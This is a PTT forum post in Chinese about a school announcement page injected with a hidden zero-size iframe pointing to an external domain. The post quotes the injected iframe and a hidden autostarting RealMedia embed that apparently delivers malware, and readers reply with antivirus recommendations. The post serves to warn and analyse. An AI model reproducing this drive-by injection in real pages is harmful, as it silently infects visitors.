[閒聊] 學校公告又被植入惡意程式...

[mosquito520 (賣頻寬控制分享器)]

我家那口子問我的...
他說用IE開會關掉...

我就看了一下...
用firefox開...
不過還是被防毒軟體擋了下來...

學校公告的最前面被加入這樣一行html語法...
<iframe src=http://www.lliinnss.com/ot/c22.htm width=0 height=0></iframe>

用wget抓下來看看...
內容如下...
<embed type="audio/x-pn-realaudio-plugin"
src="l3.smi"
controls="controlpanel,statusbar" height=0
width=0 autostart=true hidden>

意思是會開啟一個隱藏的real media檔案...
real media檔案是可以加入惡意程式的...

so...
如果開了沒反應的...
可以換防毒軟體了...
在此我推薦avast...
該找到的都有找到...正確率夠高...
不該跳出來的也沒亂跳...誤報率夠低...
而且...他是可以免費使用的...:)
家庭版只需要填一些簡單的資料就可以取得序號碼...
期限是一年...所以一年要更新一次...
不過單就他監控的縝密度跟更新的速度...
我倒是頗樂意一年更新一次序號的...

印象中好像是M$ IIS的某個漏洞會造成有心人士可以植入惡意程式...
看樣子學校方面沒有處理的很好的樣子...
﹝還是根本沒處理呢？hm...﹞


PS.
剛才又查了一下...
那個網域的註冊資料...
http://www.who.is/whois-com/ip-address/lliinnss.com/

Registrar: XIN NET TECHNOLOGY CORPORATION
Administrative Contact:
qin lin
qinlin
lianquanxilu
xiamen Fujian 361000
China
tel: [phone]
fax: [phone]

這一切都是阿共仔的陰毛啦...XD
--
                                           ▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁
    國  立  聯  合  大  學
                                    (理工/電資/管理/技術/客家)院所  招生中
   National United University
      ───────────────────────────────────
                         首頁 http://www.nuu.edu.tw  BBS telnet://uun.twbbs.org

--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 220.133.140.180
※ 編輯: mosquito520     來自: 220.133.140.180      (06/17 22:17)
推 airer:挖!!真專業
推 tommy7594:推專業~
推 YenXD:real player幫我檔下來耶 好酷
推 fallen0415:我應該要去點看看以測試我的防毒軟體嗎= =?
推 fallen0415:...........點了 沒反應 啊好= =
→ fallen0415:傳說中的好奇心會害死人= ="
※ fallen0415:轉錄至看板 StupidClown                               06/17 22:41
推 fghtgb:專業!!!
推 dogkid:那AntiVir這套防毒推薦嗎? @.@
推 mosquito520:小紅傘...自己用的感覺頗差...倒不是正確率誤報率問題
→ mosquito520:主要是那個更新...每次更新我都想殺人...
→ mosquito520:所以我就改用avast了...( ￣ c￣)y▂ξ
推 jkfive:還在用隨機版的卡車司機5.0
推 moveurbody:反譯程式啟動中XD
推 moveurbody:突然想到Yen大 你是用RP原裝的嗎? MPC包裝的應該偵測不
→ moveurbody:出來
推 YenXD:不是耶!! XD
推 kiyami:好酷喔!!XD
推 YenXD:avast home 跟 pro 板效果差很多嗎?
→ YenXD:我發現nod不會檔 該考慮換掉了 = =
推 moveurbody:nod他的主要是防病毒 但是木馬的好像沒什麼用
→ moveurbody:所以很多人是用nod加上小紅傘
推 mosquito520:用了avast home不錯的話...有錢就考慮買pro用阿:)
→ mosquito520:nod32...這我不熟...不予置評:)
推 ayuky:那現在是不能看校園公告嗎=       =
推 metalfinally:我只想知道一件事，為什麼我們學校常被植入木馬啊...
推 mattily:耶!我的NOD有找到(這有啥好高興的( ‵□′)─C＜─___－＞
推 mosquito520:回樓上上...八成是IIS漏洞沒有補...
推 dark0224:低調推avast
推 jkfive:沒事幹麻低調推...
推 s2415372:上次去找學校網管師問過...他說漏洞沒辦法 ...
→ s2415372:所以大家只能想辦法自保了 ...順便投卡巴一票
→ s2415372:另外 ...最近常去親身體驗的時候發現現在的木馬好像
→ s2415372:和上個月 還有上上個月的都不一樣  難道學生變成待宰羔羊
→ s2415372:另外 想問一下....有沒有人有那種專門拿來解析病毒的軟體
→ s2415372:就是那個能製造一個虛擬環境給病毒執行 方便觀察的軟體